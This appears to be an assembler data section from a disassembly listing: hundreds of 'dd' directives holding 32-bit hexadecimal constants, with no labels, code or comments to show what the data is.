		dd 1642354h, 0F6B39D36h, 0FC3FF631h, 3E54984Bh,	96C09FEEh
		dd 0A82E7803h, 871CB1D3h, 0D23AA550h, 9CAB0037h, 6BB07C19h
		dd 99E65D71h, 0FCBB6804h, 2F80C597h, 151C332h, 0FB40A26Eh
		dd 219A0163h, 26143099h, 0C40B2824h, 38670E16h,	0A364F861h
		dd 260820h, 0C1212489h,	7D04DF9Dh, 8C0F6C13h, 0DA562C01h
		dd 4432E2F7h, 9D8DBA07h, 4F3B10C3h, 0BF0755C9h,	0F078172Eh
		dd 1DF82049h, 1DA51AC4h, 5C600Bh, 993DC053h, 939B794h
		dd 0A34C7Ah, 7DC39E02h,	0E86C52FEh, 0EC70C068h,	0D1909A20h
		dd 0F1425900h, 0EB8CBF0Dh, 7DF4E46Fh, 57E6095Ch, 0B881EE99h
		dd 65857D73h, 321B40C4h, 0EB0097D9h, 64932290h,	0A82161h
		dd 1D75ACB3h, 0DF6732D0h, 0A16BAB04h, 6CC044D2h, 0E44BEC25h
		dd 763700F6h, 9C0AF7E0h, 0D00FCF2h, 0D1B47E67h,	3BEC8Eh
		dd 0F1DB855Eh, 0E8E3D272h, 69008C9Ah, 42B415E4h, 1A37E3Ah
		dd 1786D9F2h, 0C041DFA8h, 0C1036B55h, 0A0EEE5C3h, 477FA8E0h
		dd 0CF8D02F0h, 2552F313h, 7A458F60h, 16D19602h,	0E0504973h
		dd 13E53BCh, 378C26C6h,	0C82C0415h, 9A2873B1h, 3A0280F6h
		dd 0EEFD589h, 1C08D16Eh, 0F563C02Ah, 540C2B8Fh,	0FE431005h
		dd 980AB92h, 9B0BE8h, 0F4A1C537h, 0C04620DEh, 55733000h
		dd 743A3667h, 0E9F70047h, 0B598F02Fh, 104AB0DEh, 1DC0F001h
		dd 728396B8h, 821A1430h, 62C313F8h, 0A671A101h,	15E3742Fh
		dd 0D542FCh, 0FDE98F94h, 0FF8E8995h, 570E9C00h,	0DFAAD33Fh
		dd 1F3B00EDh, 224FB4E5h, 0C272D715h, 74412F5Ah,	932B5DB6h
		dd 0A86FA6F0h, 0F87E23B8h, 86321798h, 0D9BB00E6h, 2DD9B67h
		dd 92094201h, 0E496B922h, 9FA8B850h, 6AFF0F31h,	0DE3A55h
		dd 0D69277D2h, 1903716Eh, 7B685A70h, 301180D0h,	0D3D82412h
		dd 0E2C10B64h, 49981000h, 7000E40Ah, 5EE36351h,	54DF43h
		dd 0E7E29E68h, 0ECD2911Dh, 0C32D9F00h, 6492F931h, 10936051h
		dd 0F60C53D7h, 0CD00D5F0h, 20097626h, 266C5743h, 16C67FEh
		dd 8FB74CF1h, 0CBBFF8E1h, 83329D00h, 9E6C4ECDh,	0C0587D49h
		dd 8A7DAA90h, 994C05BAh, 0EC6B080h, 0A0ECA029h,	0BD931CCBh
		dd 623B4004h, 3199C3D2h, 0F2F9FC09h, 50FCC0FDh,	262F2856h
		dd 7AF600F8h, 90BB92F0h, 0CDE6B291h, 38135400h,	9F352706h
		dd 4253163Dh, 0A2450CF5h, 0AE07B440h, 7949820Ch, 3CBF030Bh
		dd 0F8718101h, 588004DDh, 4AB9A08Bh, 2F1DB8DFh,	0F6C0F34Fh
		dd 3DA83293h, 0E8373DD4h, 39C16700h, 5BA45451h,	9000F098h
		dd 0B297EE26h, 26F4960h, 0CF29E18Ah, 0AC697669h, 6818ECBEh
		dd 380023EEh, 1B947312h, 7E5070h, 0D9B3D172h, 788CC452h
		dd 0E4454E0Ah, 0F5268434h, 0D471D717h, 5CC89833h, 271200CDh
		dd 0F775B74Fh, 0F487056h, 4CA62474h, 2D609700h,	7AFCFBB5h
		dd 0B347F4Ch, 38E55340h, 0B119ECC0h, 8248D00h, 0B7490C20h
		dd 582D1643h, 0EBDCD8F3h, 5AFF8200h, 5011E881h,	0F6E00B40h
		dd 7C205758h, 0FA1CED2Ah, 7B78DCE0h, 76859801h,	91C3C56Ah
		dd 3703C878h, 0B7BC1E8Bh, 81B8C1D5h, 988112Dh, 0FC05F878h
		dd 0B020E9C6h, 0CD09AFFCh, 275D9066h, 4690CA1Ch, 0B0D0E3E4h
		dd 283D01C0h, 7D0E492Eh, 110AE8C6h, 2D8174Ch, 3F26B588h
		dd 2F28505Ch, 0FC80A8E3h, 5BD36B4Ch, 3AC72800h,	38AE82ECh
		dd 0AF473AEDh, 0B5A19F8Fh, 8892CB60h, 5A73E501h, 0B9008D75h
		dd 3FEFF92Fh, 3A61661Ch, 0C0833140h, 2C654535h,	0D23B58D0h
		dd 1A03E8F6h, 8C362884h, 0B977F882h, 8323008Bh,	972BF355h
		dd 0EC900B52h, 0F70E5AE0h, 2480CE45h, 0F0B09A72h, 0A74B002Fh
		dd 0B0C61C27h, 200FC83h, 0ED7B9A5h, 3D0AB76Fh, 0F61DC9E1h
		dd 28BF80E0h, 129BD3EBh, 0C8597800h, 36114383h,	0D621052Dh
		dd 807FB60Dh, 402FF3F2h, 5DE24D0Ah, 721F88EDh, 46C7FD00h
		dd 1D62C235h, 40A216A6h, 0E71EED81h, 7E00D3E6h,	69C59B48h
		dd 3D270CA3h, 3F800350h, 0E74CFAADh, 1B075E88h,	0BFEDCC7Ah
		dd 0A4803624h, 9807A2FFh, 716C0FC8h, 0ACE246E1h, 48C81C87h
		dd 0F0BFDDB4h, 0F466E544h, 3718D505h, 1CF800DBh, 0BC5286Dh
		dd 5909F3E0h, 612F07FCh, 0E07D4F00h, 3866700h, 2873843Eh
		dd 68984D01h, 697062B1h, 4B8BD8h, 5D354F82h, 386CE84Ah
		dd 92C39100h, 2DC81E1Ah
		dd 69F30020h, 0C04E98C6h, 0F800B9EEh, 0F9DBC7AAh, 0A0EBF1C3h
		dd 18B8A3CCh, 81BA65DAh, 0D30064E5h, 444C891Fh,	4A1769Dh
		dd 4137A9D0h, 20FCC773h, 847E705h, 0A5FF3912h, 393F38B0h
		dd 2182739Fh, 8A82C474h, 0D2008070h, 85292D96h,	0F0BD6Eh
		dd 6A41B85Ch, 0DC40BB54h, 0B2006098h, 7B5F258h,	0E891E62Ah
		dd 23E40004h, 0B8DB4C5h, 0B33F0D31h, 1CCCCBh, 0FE978149h
		dd 793344h, 42C7AB96h, 0D0AA7374h, 0BAA6153Eh, 7BF287B1h
		dd 4846EAB5h, 289200B8h, 8E1346CFh, 23009D5Fh, 88D149C1h
		dd 1F1871Fh, 0CDFA6B45h, 0E5CE069Ch, 8BB0D064h,	22B70A00h
		dd 0FBBE71C7h, 8C7A25h,	462BF92Ch, 4CA28589h, 9F49E500h
		dd 0AF707A28h, 74F76D5h, 5327A966h, 0B33A0563h,	86ACB800h
		dd 5CB3C488h, 91742216h, 10908C85h, 0B23CEF2Dh,	194426E4h
		dd 4396BB44h, 9E2C1D3Bh, 36CE40C1h, 0DFA93D79h,	9516D300h
		dd 8E4D8633h, 59B900A2h, 2F8F6470h, 0A5090E19h,	80A149BBh
		dd 98F3B429h, 2890029h,	0B390BF40h, 7527826Eh, 0BDC805E6h
		dd 45E088h, 0C3C015C7h,	0E0DA2C66h, 3D36C905h, 60F0046Bh
		dd 6F9F1FACh, 0B17AC0BDh, 0EB24ABC4h, 0A8092800h, 1AFD15FEh
		dd 2DE500F5h, 58C4477Eh, 0BE00BFA2h, 9D4B8722h,	0F5C3A6h
		dd 4329BC15h, 2737C4EAh, 376C898h, 785F5E15h, 58B70080h
		dd 3A040AE8h, 24BF26D0h, 6C6F00ACh, 30B35147h, 123CA400h
		dd 9F2BF292h, 384F6Eh, 0D9CB7E20h, 33306801h, 26E2885Fh
		dd 0B7D20183h, 5E99794Ah, 611064E3h, 0EE001176h, 0F82F548Fh
		dd 26305A93h, 2C76E598h, 33298870h, 8548A680h, 0B28343h
		dd 70EB7477h, 1D96FB25h, 0CDE1CE00h, 0DF7F937h,	0F16A02BFh
		dd 25F58F9Ah, 7C5854C4h, 41FC0014h, 1FDD047h, 0F73B03BEh
		dd 5D6FEF18h, 0E12E1598h, 0B8C007B8h, 9FAAFBB0h, 0B5340EDBh
		dd 53AE2Bh, 0D5E69D88h,	77307E8Ch, 46F4C8B4h, 7CF502DEh
		dd 0CBE035DCh, 5500EC7Ah, 60805C48h, 48A685F0h,	4900B861h
		dd 749B7FF8h, 9F00DB71h, 0CAD67877h, 1FDD1294h,	40954CA1h
		dd 27468ECh, 2C94F979h,	56835E00h, 701E5192h, 0F8D80023h
		dd 759AC6E8h, 0C0A00B60h, 72009C0Ah, 53FDE414h,	941DB5Fh
		dd 0B2358762h, 0A000AC70h, 7B91197Ch, 0EF8C99Dh, 0ACC79EC5h
		dd 0F5B3E660h, 0DB5C263Bh, 0B8B43F37h, 519B00FDh, 2F2E49F6h
		dd 2A3F7A14h, 0D0A5F1h,	0BF058BAAh, 1A649DFEh, 240DE4Ch
		dd 0A59339FAh, 8400E058h, 4B320060h, 4F24BB81h,	8B001B18h
		dd 64F1F5A7h, 1565702h,	0A59CE0B3h, 60010654h, 48116728h
		dd 0D884F3FFh, 0D4088D02h, 74F40AB1h, 6AF3140Ch, 0B7CE075h
		dd 0BC7B4D4Ah, 43AEDC07h, 0AC25B72h, 893D0040h,	78744517h
		dd 3C6E00FBh, 976119C8h, 0EDF7C202h, 0A0E9D99Dh, 1781E6E4h
		dd 0B4A1EE22h, 30B86010h, 2E003811h, 0EB45DEF2h, 54CC9A9Fh
		dd 6D1D43Fh, 0F1AA7470h, 0DB0010A0h, 0FD4EED0Fh, 7A6679A7h
		dd 0C35712F7h, 0A5C20055h, 76589619h, 841CD10Bh, 0BAB081F1h
		dd 0AF609B3Fh, 0D8C269C3h, 57C04082h, 7D9E5056h, 3B4071DDh
		dd 0BEC159CDh, 0D3470064h, 0E90990B2h, 8700F137h, 0D4E5E94h
		dd 4C0CBD34h, 8200DC5Ch, 1379AADFh, 9B0FF83Ah, 0E08808E4h
		dd 0EA8E53D7h, 0D6B00435h, 0C3BACBC7h, 0A0E43EB9h, 44001720h
		dd 2C9E7110h, 794533h, 0DAA51663h, 0BEE03F41h, 0E9D7B21Eh
		dd 56D3A900h, 0A09D98h,	8F507235h, 60DDD86Eh, 0ADB7793Dh
		dd 403C8B2Ch, 27DBAA88h, 0C40B3B1h, 9E000B1Bh, 7E67F86Ch
		dd 1DD64CAh, 81136B51h,	60E34F9Fh, 0D4000E9Bh, 922D04AFh
		dd 25D9B067h, 9C2FC7B9h, 0A3260500h, 70139F4h, 6CD6DE3Fh
		dd 4C60833Dh, 6F54002Ch, 90A48030h, 30024CAh, 0E570A916h
		dd 1C9555D4h, 432893B4h, 2D3BA20Bh, 0E73A317Ah,	125C0AFBh
		dd 0A500CC0Ah, 7F466BAAh, 2B876A8h, 0FDF5E79Eh,	4C706A6Fh
		dd 0C0283160h, 733F1Dh,	0DF1F5055h, 0CAB43B9Fh,	74C4248h
		dd 2093FD6Fh, 5CAC9180h, 0ED21673h, 54E20FA7h, 85B87DA2h
		dd 12CB1CE0h, 0B9904003h, 0E0F3D606h, 44E80h, 772D7567h
		dd 1892D3EFh, 3600E9F4h, 78595EDh, 2249C4h, 6128DF69h
		dd 0B2D49D91h, 0FCC06C4Ah, 0D9A8C3h, 234CAFCDh,	3D61C881h
		dd 3E0017F4h, 65DD531Eh, 0E0391B9Bh, 16F0BFh, 1A4D633Bh
		dd 0E36F7DD8h, 4C5BF90Fh, 0B501938Bh, 0D60CE149h, 9E3057C1h
		dd 0E930014h, 87085298h, 8278B18Eh, 3825AE00h, 1811C9FEh
		dd 4A240077h, 72F02B33h, 93E056C3h, 48F2B8B0h, 3601CE7Dh
		dd 2D245962h, 0CCD83E2Eh, 74C1005Ah, 5CA8E8CFh,	9A0345DFh
		dd 2D5329B2h, 94F6F0A7h, 0F8B1E71h, 2E1E83C2h, 61E7C86Bh
		dd 6D9C6082h, 28A60008h, 31D0F1A8h, 7F9F1E09h, 5F4F8072h
		dd 505AB8A0h, 0FBF44000h, 0EB8A7136h, 0E00803E6h, 3EF0A36Fh
		dd 30F20800h, 8F0338E9h, 0D5652848h, 3698DBh, 63333C27h
		dd 3D3971C2h, 0FBD10500h, 0E25CA9EDh, 0AB11002Fh, 87F0A472h
		dd 4CF07F3Fh, 1BA0300h,	0C1FFCFA1h, 64B603F7h, 0A577B726h
		dd 79C8C0CCh, 0AA002D27h, 0AF2F2C73h, 0F096AC9Fh, 0FC78C0E1h
		dd 3DFB04D6h, 0C2CB5A00h, 450A9AADh, 5F610068h,	5654C0A6h
		dd 3B48378Ch, 0C75317ECh, 0FD1002Ch, 40A5F367h,	0ECA253h
		dd 18D5BBA3h, 0DBB56Dh,	0D080681Ah, 2D836903h, 8A6A1100h
		dd 86BC25C6h, 739F09Ah,	39B9987h, 0B3B96256h, 0B0405762h
		dd 2659937Eh, 0FC500024h, 8C495D67h, 0ECB43D40h, 0B00FAE3Eh
		dd 0E903C83Ah, 1020ACA5h, 186C7792h, 20B2DD36h,	0EB60618Bh
		dd 577C3548h, 74411CD8h, 94120498h, 77E8C08Ah, 0BF0125A8h
		dd 59B1D52Dh, 27706A8Bh, 9A4A61h, 635AAD44h, 0D001D4EBh
		dd 30580341h, 5C580447h, 119422Eh, 0E8C9C2A6h, 0D530FC90h
		dd 71D8EAAEh, 5F2601B3h, 0A8EFAFF5h, 24ED018h, 0CD8C8B00h
		dd 8E19A01Ah, 82960037h, 10554994h, 830E9FD5h, 348C03h
		dd 1FD86405h, 0ACC8007Fh, 0A02DC6F2h, 0B80170BCh, 0D4712581h
		dd 0F9ECB703h, 0E2940276h, 0B5D39599h, 0ADE4860h, 0A4A62101h
		dd 0A3FCCDF2h, 2708C0CCh, 0BDDED56Bh, 0B8367300h, 288F3Ch
		dd 0C40F9657h, 0D6A08358h, 0EFFB96C0h, 0E75240h, 0EEEC4637h
		dd 0C1503F29h, 75F19700h, 3464B812h, 27223973h,	0F3C4E500h
		dd 295F8A10h, 0E24B5E01h, 0E949AB86h, 0B03B5CE0h, 3824E32Ch
		dd 0E28100D7h, 0A334B114h, 7500C399h, 4CA08D08h, 0E66A2C1Ah
		dd 50354806h, 0F201C781h, 0E2E06E43h, 443C0050h, 3DFC6B9h
		dd 63037DE5h, 0D29A6F0Bh, 3C301509h, 9F07D049h,	5F8921F0h
		dd 0D69BAFC0h, 0EA24FA48h, 660185B0h, 0CF9526FCh, 1E2D51F0h
		dd 1CA1CA1Ch, 12690076h, 67235005h, 0B8928B2Ch,	0CDF01000h
		dd 48DD722Fh, 0A50F7769h, 90649455h, 5D14E031h,	45805700h
		dd 9ECED244h, 819C0062h, 9D7D6D5Ch, 38D22675h, 2F0C9700h
		dd 0B874B7B9h, 0FC55F28Dh, 2D1800B3h, 0BE156416h, 0F25A9097h
		dd 0F36F6090h, 31F79F9h, 0AECE88BDh, 0F801067Fh, 8130DBD6h
		dd 3AE0F6BCh, 0F50B0965h, 5800DED4h, 17A784ADh,	685E1400h
		dd 393431C2h, 0B8DA01F5h, 0BC1367AEh, 6AC6DC03h, 0EF7E1801h
		dd 0BED598D8h, 67D4CEE5h, 0F0500024h, 13EB2084h, 0A6001D35h
		dd 4BC61E76h, 0A107B7h,	3BE3D5E7h, 64E17CA8h, 102C3E00h
		dd 1AC3E995h, 0ABA000DCh, 4578F560h, 0CF076B58h, 5E833BBBh
		dd 0E74F00DBh, 25D07Fh
		dd 506203Fh, 8AC9664Ch,	0F7F68100h, 957F3432h, 0F23500CAh
		dd 5DE7D806h, 93070EF4h, 94271B76h, 46156520h, 0D86600A7h
		dd 87D3283Eh, 8100C48Fh, 96644C07h, 1F034DDh, 8BF0DA9h
		dd 0C157EBF2h, 0C4A17FA7h, 0C2FA05E1h, 0CA802E0Bh, 865704DDh
		dd 10C8CD7Ch, 64F43103h, 0EB0FCF70h, 0F8207506h, 910E009Eh
		dd 82CD617Ch, 0DC32DAD2h, 13B12956h, 452498BAh,	1462AF21h
		dd 2229A9C6h, 79429F75h, 21611811h, 89780819h, 5B943D90h
		dd 210D2964h, 28178A60h, 226E3642h, 0D0220761h,	21B52485h
		dd 4E2FA1Eh, 871A2155h,	0CB206912h, 183597h, 7B1D143Ch
		dd 0DDEBFA02h, 5585E200h, 2F3E5D87h, 6DF09Dh, 294B8C2Ah
		dd 8FA86A84h, 8B0085E6h, 0E421C769h, 51F3F0h, 3D8A6588h
		dd 26E2F1C3h, 97F84200h, 0A386A29h, 0F07200AFh,	0E7AA0F59h
		dd 6D009168h, 70CE524h,	70B53BE4h, 2160B59Dh, 0E307C59Ch
		dd 513E72D6h, 5FB6CBC0h, 0F65C1D60h, 76A880B2h,	964A70CDh
		dd 0A3008A7Fh, 0FD9D040Dh, 0F4244D4h, 4318B56Bh, 0FCC38B60h
		dd 85009EB8h, 0D8FEE974h, 79534CBEh, 57779BCh, 4FBA604Ah
		dd 0F59401D3h, 0FC8473D9h, 33015AF2h, 92EE6EA7h, 4ED1AC86h
		dd 9C6C1080h, 29023A68h, 0CC2B0104h, 3C809908h,	7BCAF1h
		dd 0E3EDBEB0h, 25138D26h, 0EC659703h, 0A89C73F5h, 7DB9E54h
		dd 45581D3Ch, 7859A015h, 5076257h, 8271B9ABh, 4D88FCF0h
		dd 5BE80Eh, 96256913h, 51246CACh, 6EDE5907h, 0A4A0A1C4h
		dd 0CA63A01h, 74A57CEBh, 2E60EF48h, 0C4980AD6h,	0A9E7022Ah
		dd 35F02F89h, 0ACD055C0h, 0C7CF4C03h, 91FA59A6h, 9440CB2Bh
		dd 5C6B3Dh, 4BDA2847h, 412162CCh, 362A8400h, 0F35DA1F4h
		dd 929C00E6h, 0C15BFB5Ah, 5007BEACh, 0FED4D365h, 1C2CB4C0h
		dd 0CB050032h, 53CF73DCh, 540FE2BAh, 24E11Ah, 1CFF25F1h
		dd 0CA4800D7h, 2A69B686h, 850091E2h, 0AA71BA9Fh, 0B8ECDA2Bh
		dd 16C2C042h, 33A1E383h, 8455DD0Fh, 0CF374054h,	4F14E7h
		dd 0AD623015h, 49E36AB5h, 0D20FB17Ch, 40E6B381h, 13069760h
		dd 4C771D3Fh, 7D8EC08Ch, 785B71FBh, 8565D00h, 431CDAFDh
		dd 6A62002Fh, 8D39F054h, 1B2D348Bh, 56D03Ch, 67707495h
		dd 0DD7BE9BFh, 0A12E577Dh, 7200F3D5h, 0A3E703A9h, 383D90FCh
		dd 328019D9h, 71CDBD6Eh, 55509FF9h, 4703EA80h, 4948EBB2h
		dd 0A4700F0Bh, 0A00FD16h, 0CC1B60F8h, 86F648h, 9E4EF92Ah
		dd 3BF8858h, 5644AABBh,	8CA8C3F7h, 0B6008A98h, 0EC37361Ah
		dd 18A15Ch, 2FB89BCAh, 86BD4F3Bh, 1ED9F030h, 0C084B642h
		dd 0CF1B1D98h, 0FC065407h, 774080A2h, 855D0018h, 0D7E1B28Fh
		dd 0C9015968h, 1248DB1Bh, 0D6ECAACFh, 6CF103BDh, 5A16C397h
		dd 0F16E1989h, 1D8E60B0h, 0C58AF500h, 70EC4F43h, 98A90A25h
		dd 0BF8644h, 0AF4C060Dh, 0F00FBFCh, 52AED5C7h, 0F25599h
		dd 0D61F6F61h, 0EAFEFA82h, 0DE5ADD00h, 0BF0FDBCAh, 0F0E01E76h
		dd 0CFD31CA0h, 896374BBh, 0DFC8529Bh, 4F0E3405h, 401D69C9h
		dd 71A159FDh, 0B5E0B7h,	0F7DF5804h, 0D7126E62h,	8008B13Fh
		dd 6953F9D1h, 1B20C5h, 856B271Ch, 6D1E29CAh, 60F7E701h
		dd 67FC8070h, 0DE28F8h,	0D9D307B9h, 0EA8E0A8Ah,	8B88C701h
		dd 4C7C0357h, 99D06680h, 5AE7D538h, 0A3836600h,	6525571Eh
		dd 0C0F152B9h, 21F90600h, 39D54F0Eh, 4400AB72h,	872650AAh
		dd 0EE2471h, 75AC66E9h,	70B568A5h, 0D006EECh, 0FD196258h
		dd 3C9E3053h, 3798FE12h, 9648180Ch, 30AAD630h, 7E8F313h
		dd 2817CC1h, 5CB62001h,	35009257h, 965F1B24h, 4430419h
		dd 0C68BAF31h, 1C0BEF7h, 0A901D3h, 0ED65725Eh, 0E9A6738Fh
		dd 52FAC112h, 0A76C5800h, 3C47C28Ah, 0EE07AF75h, 0F0030F5Eh
		dd 0E75D2939h, 42091200h, 81451153h, 1C6D00E5h,	0F93BCBA9h
		dd 2D00256Bh, 90A0ECDCh, 2418BC68h, 7D81777h, 60040C85h
		dd 23B0FAD0h, 48CA8400h, 2CAEB42Dh, 0EA010162h,	63B95538h
		dd 85173076h, 2FAA5200h, 0CBA480D8h, 316B0021h,	2696B698h
		dd 0E0009B86h, 14BCD2BEh, 2F7607Ch, 0A9DACF33h,	0C0484EB2h
		dd 5C3B941Eh, 5D768072h, 0F35AE677h, 1DDD3CF0h,	0BD510200h
		dd 4144A147h, 0FC00E971h, 969CE763h, 7CA27E4Fh,	50523A69h
		dd 34C50E00h, 5A47E51Eh, 75B2D102h, 0A09268A6h,	84512780h
		dd 0B6F512E7h, 9780753h, 0BDC15014h, 0BA0095C7h, 68435A42h
		dd 90C27737h, 0B24905Ch, 0CB2C7F48h, 2B499780h,	880196D5h
		dd 0C0F9DCC6h, 0FAD83312h, 0E667FF1h, 4A5F5559h, 9219BA66h
		dd 6002CA00h, 0B68BF238h, 0BE7600C6h, 97B07263h, 3EE4BD50h
		dd 0C2C92600h, 6E42380Ch, 9986000Ah, 714644E1h,	0C1B5F54Fh
		dd 0E9E8564Bh, 0D967003Ah, 0E2B9CE04h, 0E0B76FA5h, 1D3F72F5h
		dd 5F439A6Dh, 0F51C81B4h, 0E81B0EBCh, 0DA28D5B5h, 8C24B85Fh
		dd 148014C7h, 0FE9240CFh, 7291002Eh, 7BDC9D9h, 0A201A9B2h
		dd 0E1E4F173h, 48808D0Dh, 0CB99DB6Bh, 0B6904E45h, 8AFAC02h
		dd 48D83B1Fh, 0E62DA520h, 0D48509E3h, 4003995h,	3D24E563h
		dd 91964C00h, 3C3E6884h, 0FCC548A6h, 0ADD32700h, 4F025829h
		dd 8D4B38h, 1C84443Ah, 35AE8h, 0C24CE44Eh, 0A2F578AEh
		dd 0DC18470Fh, 0D4C4C341h, 0B783E893h, 1E6F1F66h, 981C002h
		dd 0D0773ACDh, 0A714C500h, 0E2B6A1F8h, 0B211034Bh, 0A09AD8Ch
		dd 48C18B9Ah, 22C3C4A3h, 370080E2h, 4B01A79Fh, 1D9AE124h
		dd 80EC21B6h, 0FFABFB82h, 0CB0EDDEDh, 40B34D5Fh, 59AA340h
		dd 4B4E38A9h, 7393C12h,	0F0159CC6h, 0AEF8767Dh,	0D7DB9F00h
		dd 544ADD0Fh, 0D81E6003h, 9B60C987h, 68089300h,	1CA9C6EEh
		dd 6E6300D9h, 11889523h, 653BB880h, 32A60E0Ah, 481E2083h
		dd 0F24D7h, 0B92F8B42h,	3FC7E047h, 9E81FC06h, 0B825E9h
		dd 577AAC4Dh, 5537E358h, 0CB6709Fh, 79B592D1h, 3100DB80h
		dd 9DAE3F91h, 1012F0h, 8C7F0BC5h, 338B0FBEh, 80C3EF24h
		dd 9E26AE00h, 0FD6211h,	13556E23h, 6195E770h, 96FB8701h
		dd 508F60DEh, 5992A820h, 0E23E14C1h, 3D8B9D81h,	606B7E7Ah
		dd 16006083h, 693FBC43h, 726EC070h, 3C292E14h, 0D41FB940h
		dd 0BCFA80AFh, 40EC9DCFh, 88C18930h, 597F7864h,	0F48008F8h
		dd 98383483h, 0D50A7A00h, 7B5A5C75h, 0EDD90028h, 81FE6456h
		dd 26505DF5h, 9124AC8Ch, 4C804C65h, 176ED48h, 0FC20EB0Fh
		dd 6CE2008Dh, 0C60DA9B4h, 1400E510h, 64C2ED3h, 606EAD3Bh
		dd 0DABA2847h, 4F608D5Bh, 73FAD511h, 0E36900CBh, 0FEE2C5FFh
		dd 7A0A14A2h, 0DFDE916Dh, 85194500h, 508C69h, 3880AB04h
		dd 0EAA32073h, 0CC5D9F24h, 0BD835800h, 0F143CEh, 0BAAAEC92h
		dd 0A57E0C73h, 0E32E5E01h, 7F4E3D0Eh, 0E1F8AF61h, 7C100059h
		dd 0F76D2AB7h, 0D0021921h, 0CBECF898h, 1237412Bh, 0E271CC20h
		dd 0EEC9911h, 1FA0ECD6h, 317601BAh, 6BA96A00h, 33575DA8h
		dd 697F00D9h, 79A64751h, 8F7C2648h, 0F93D0F00h,	9AEA052Fh
		dd 99191555h, 7148B813h, 6F834C03h, 70004AD6h, 11EF3C69h
		dd 9774EEAh, 409B393Dh,	366F9F82h, 0FB9998C1h, 0E443D4AAh
		dd 7CB8C7F3h, 790F8DB2h, 60AD8412h, 0FFC92276h,	574A00AFh
		dd 8F9D52BAh, 4B1C09C1h, 9500434Dh, 5D0DF15Eh, 7E8D0029h
		dd 88AE5DFh, 0C916BC84h, 30039145h, 0AF1DA828h,	69F94D80h
		dd 0DA2F0060h, 0BDBA8249h, 7300A4F5h, 6280CC8Bh, 0FAAF98Fh
		dd 0C8D8F0FEh, 0EBB34E40h
		dd 9E48B13Fh, 8F6402F4h, 8050C571h, 14D706FCh, 62BD00DAh
		dd 0BAA1F21Eh, 0A400CA7Dh, 2B317A50h, 638779h, 695A7DCh
		dd 0C80EE75Eh, 32E7C98h, 13D50E1h, 7AB1602Bh, 8865C67Dh
		dd 5008E3D4h, 424FB4EBh, 2338809Fh, 0EB8B1Ch, 0DDC4AD5Dh
		dd 0A434684Bh, 0B1E41900h, 0CCB57DD3h, 8914005Ch, 6A6B7B18h
		dd 2A00DABBh, 53C3F6AAh, 1F622EC6h, 8017FA20h, 0D9E06339h
		dd 0E900BB4Fh, 4BBDF309h, 1C6D803Ch, 9075A55h, 0F8079418h
		dd 971531CFh, 0F9CA004Eh, 0EEB80337h, 0C3959D7Ah, 0A37682F0h
		dd 57D73300h, 37C45B0Eh, 0A80B03A1h, 51060C66h,	1D4090F5h
		dd 910047CCh, 567B4F2h,	48B13971h, 9C09F8BBh, 64807780h
		dd 48E54255h, 94ED8103h, 0E886B210h, 9014EB8Dh,	0FE960278h
		dd 1B7E1784h, 31C21860h, 0BD41AD00h, 0FBB6B99Ch, 165F07BEh
		dd 40369E8Dh, 18C37EB7h, 818A8F3Fh, 0D8CCD7E6h,	0A6700168h
		dd 594B0002h, 0FCF52B53h, 650051C4h, 0C6823A64h, 79FB697h
		dd 4FDF735Fh, 0FE29B363h, 35757FA8h, 7AA2E70Ah,	0A440E430h
		dd 88E8ECE3h, 700B9D8h,	0CCB2F3EAh, 0C3ED1Eh, 5DABD766h
		dd 162E20DDh, 6719AC00h, 0C4616FD3h, 8B741245h,	7AA08324h
		dd 593E83C0h, 0F6B83002h, 0E36A5E44h, 0DA84C0C4h, 0FC1050A3h
		dd 0AAD000D1h, 57871EEh, 2A001FF9h, 2EA3CBE6h, 3C8CD5h
		dd 19C13641h, 24B9C54Fh, 0C2048BE4h, 0F39E5C7Ch, 0CE52A887h
		dd 80F36231h, 0E6A04BA8h, 0ECC74165h, 7C00C6E0h, 5214A58Ch
		dd 818748h, 0E7326B31h,	0B3CBEF1Ch, 3A68F400h, 22F221B8h
		dd 10010098h, 32DB7604h, 0C6005856h, 0B70D4152h, 8042F2FEh
		dd 3C00803Eh, 0C239383Fh, 22B0F03h, 0D6B1764Fh,	0A4E24A19h
		dd 90664D84h, 0A4E34188h, 3609120Fh, 0E70BA0E4h, 1245C610h
		dd 44F534C0h, 405F70ACh, 1DE9B349h, 25F774CFh, 0A8002FA3h
		dd 6A90F49Ah, 70980CB2h, 2317EC00h, 0E2A6E078h,	77A80A33h
		dd 0B0D89Bh, 58CA7EC9h,	16F25080h, 41C8559h, 10EF2DF0h
		dd 748A80C0h, 94AB0091h, 0DCC63EC9h, 68039A27h,	2EB8CB36h
		dd 4ED380C5h, 0B95B072Ah, 80A586A1h, 0B528DEF9h, 6AEA1A0Fh
		dd 8342C07Bh, 9AC088Fh,	0E8537137h, 7E69C800h, 8B40F1F5h
		dd 201E08D6h, 52094CCFh, 36480006h, 765EDA22h, 3DBA094Bh
		dd 0EC62FB2Ah, 29919E63h, 651BC133h, 6AB1F8B8h,	93E63F09h
		dd 0E64A0EFh, 7701B9DDh, 124090D1h, 0CC32B8A4h,	29073EC8h
		dd 5F338218h, 0FCA0EE64h, 956F03DEh, 7A55F422h,	62ED4B98h
		dd 61758D00h, 90A40956h, 71960778h, 20A82DC6h, 2F2870Ch
		dd 0E775F978h, 0C004AA0Ch, 0A1AD04Fh, 19FE2F0Eh, 466B80D4h
		dd 0C0D05644h, 85BBB700h, 3E1CA590h, 70E10053h,	5C67ABF2h
		dd 0F00F144h, 0AC18A378h, 131155C8h, 15DAA925h,	0BA790887h
		dd 66000C0h, 0B858DFEBh, 0AD498228h, 0A7030430h, 0C903777h
		dd 7CBF5232h, 0E2743D72h, 833EDC48h, 6786193Dh,	51DD6F13h
		dd 5FA76800h, 7D79B0F9h, 7B8B87Bh, 0F5CF5791h, 0D2FB065h
		dd 0A31DF447h, 26837C15h, 0D00B19A6h, 3DFF1C0h,	7B4D8AB9h
		dd 0F3903A5Ch, 9163624Ch, 80944249h, 0FEF1035h,	9C556C92h
		dd 0BA803BBCh, 0A9F6D722h, 0F2C6457h, 990034F5h, 0AFBD3756h
		dd 9B7100ABh, 0F814F177h, 0C00316Bh, 63476AE1h,	0F21E2A0Dh
		dd 0A5F60080h, 0F91B62D7h, 8398464Eh, 0ED4154Ch, 8CA007BCh
		dd 0BA200Dh, 56D4316Ah,	0DC152D82h, 0F6007572h,	72431A9Ah
		dd 2C183BAAh, 84381B90h, 48EE3FEh, 0FBFC44Eh, 604E3D1Ch
		dd 72372E00h, 0CCA08D14h, 7601D0C0h, 515C1D2Dh,	0B2FC1B02h
		dd 0A2BB0AE2h, 12A94D16h, 8A470063h, 46435167h,	6030C900h
